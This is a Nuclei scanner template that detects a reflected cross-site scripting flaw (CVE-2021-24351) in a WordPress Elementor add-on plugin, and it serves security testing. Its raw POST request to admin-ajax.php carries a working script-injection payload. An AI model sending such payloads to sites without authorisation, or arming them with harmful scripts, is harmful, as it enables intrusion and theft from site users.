nuclei-templates/cves/2021/CVE-2021-24351.yaml

id: CVE-2021-24351

info:
  name: The Plus Addons for Elementor < 4.1.12 - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    The theplus_more_post AJAX action of The Plus Addons for Elementor Page Builder WordPress plugin before 4.1.12 did not properly sanitise some of its fields, leading to a reflected Cross-Site Scripting (exploitable on both unauthenticated and authenticated users)
  reference:
    - https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24351
    - https://theplusaddons.com/changelog/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24351
    cwe-id: CWE-79
  tags: cve2021,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,cve

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "the-plus-addons-for-elementor"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200